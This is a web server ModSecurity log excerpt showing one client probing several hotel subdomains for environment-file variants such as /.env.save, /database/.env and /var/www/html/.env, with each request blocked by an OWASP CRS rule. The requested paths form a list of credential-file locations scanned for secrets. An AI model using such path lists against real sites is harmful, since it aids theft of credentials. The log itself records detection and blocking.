[Tue Oct 27 01:43:48.021105 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6FEtgBhmk9Q7hbpqXyQAAAAs"]
[Tue Oct 27 01:43:48.021459 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "auA6FEtgBhmk9Q7hbpqXyQAAAAs"]
[Tue Oct 27 01:43:48.048351 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auA6FMkbbDK06qDUYmCovwAAAAU"]
[Tue Oct 27 01:43:48.048577 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auA6FMkbbDK06qDUYmCovwAAAAU"]
[Tue Oct 27 01:43:48.048900 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env~"] [unique_id "auA6FMkbbDK06qDUYmCovwAAAAU"]
[Tue Oct 27 01:43:48.065651 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "auA6FMqawth2HP9RxtL-4QAAAAY"]
[Tue Oct 27 01:43:48.065836 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "auA6FMqawth2HP9RxtL-4QAAAAY"]
[Tue Oct 27 01:43:48.066138 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/shared/.env"] [unique_id "auA6FMqawth2HP9RxtL-4QAAAAY"]
[Tue Oct 27 01:43:48.068747 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6FEtgBhmk9Q7hbpqXygAAAAs"]
[Tue Oct 27 01:43:48.068953 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6FEtgBhmk9Q7hbpqXygAAAAs"]
[Tue Oct 27 01:43:48.069178 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "auA6FEtgBhmk9Q7hbpqXygAAAAs"]
[Tue Oct 27 01:43:48.090734 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /database/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "auA6FA67030o4-ZAUjLpxAAAAAg"]
[Tue Oct 27 01:43:48.090936 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "auA6FA67030o4-ZAUjLpxAAAAAg"]
[Tue Oct 27 01:43:48.091176 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/database/.env"] [unique_id "auA6FA67030o4-ZAUjLpxAAAAAg"]
[Tue Oct 27 01:43:48.131787 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6FEtgBhmk9Q7hbpqXywAAAAs"]
[Tue Oct 27 01:43:48.132151 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6FEtgBhmk9Q7hbpqXywAAAAs"]
[Tue Oct 27 01:43:48.132539 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "auA6FEtgBhmk9Q7hbpqXywAAAAs"]
[Tue Oct 27 01:43:48.168071 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "auA6FMqawth2HP9RxtL-4gAAAAY"]
[Tue Oct 27 01:43:48.168299 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "auA6FMqawth2HP9RxtL-4gAAAAY"]
[Tue Oct 27 01:43:48.168585 2026] [security2:error] [pid 3147513:tid 3147513] [client 34.186.207.253:57008] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "auA6FMqawth2HP9RxtL-4gAAAAY"]
[Tue Oct 27 01:43:48.172827 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /storage/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "auA6FA67030o4-ZAUjLpxQAAAAg"]
[Tue Oct 27 01:43:48.173040 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "auA6FA67030o4-ZAUjLpxQAAAAg"]
[Tue Oct 27 01:43:48.173260 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/storage/.env"] [unique_id "auA6FA67030o4-ZAUjLpxQAAAAg"]
[Tue Oct 27 01:43:48.202143 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auA6FMkbbDK06qDUYmCowAAAAAU"]
[Tue Oct 27 01:43:48.202340 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auA6FMkbbDK06qDUYmCowAAAAAU"]
[Tue Oct 27 01:43:48.202657 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env1"] [unique_id "auA6FMkbbDK06qDUYmCowAAAAAU"]
[Tue Oct 27 01:43:48.238665 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6FEtgBhmk9Q7hbpqXzAAAAAs"]
[Tue Oct 27 01:43:48.238910 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6FEtgBhmk9Q7hbpqXzAAAAAs"]
[Tue Oct 27 01:43:48.239223 2026] [security2:error] [pid 3165580:tid 3165580] [client 34.186.207.253:57074] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "auA6FEtgBhmk9Q7hbpqXzAAAAAs"]
[Tue Oct 27 01:43:48.249652 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "auA6FA67030o4-ZAUjLpxgAAAAg"]
[Tue Oct 27 01:43:48.249868 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "auA6FA67030o4-ZAUjLpxgAAAAg"]
[Tue Oct 27 01:43:48.250143 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/var/www/.env"] [unique_id "auA6FA67030o4-ZAUjLpxgAAAAg"]
[Tue Oct 27 01:43:48.310447 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auA6FMkbbDK06qDUYmCowQAAAAU"]
[Tue Oct 27 01:43:48.310712 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auA6FMkbbDK06qDUYmCowQAAAAU"]
[Tue Oct 27 01:43:48.311017 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env2"] [unique_id "auA6FMkbbDK06qDUYmCowQAAAAU"]
[Tue Oct 27 01:43:48.372364 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /var/www/html/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "auA6FA67030o4-ZAUjLpxwAAAAg"]
[Tue Oct 27 01:43:48.372638 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "auA6FA67030o4-ZAUjLpxwAAAAg"]
[Tue Oct 27 01:43:48.372972 2026] [security2:error] [pid 3170301:tid 3170301] [client 34.186.207.253:57028] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/var/www/html/.env"] [unique_id "auA6FA67030o4-ZAUjLpxwAAAAg"]
[Tue Oct 27 01:43:48.376786 2026] [security2:error] [pid 3169840:tid 3169840] [client 34.186.207.253:57044] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "auA6FMkbbDK06qDUYmCowgAAAAU"]
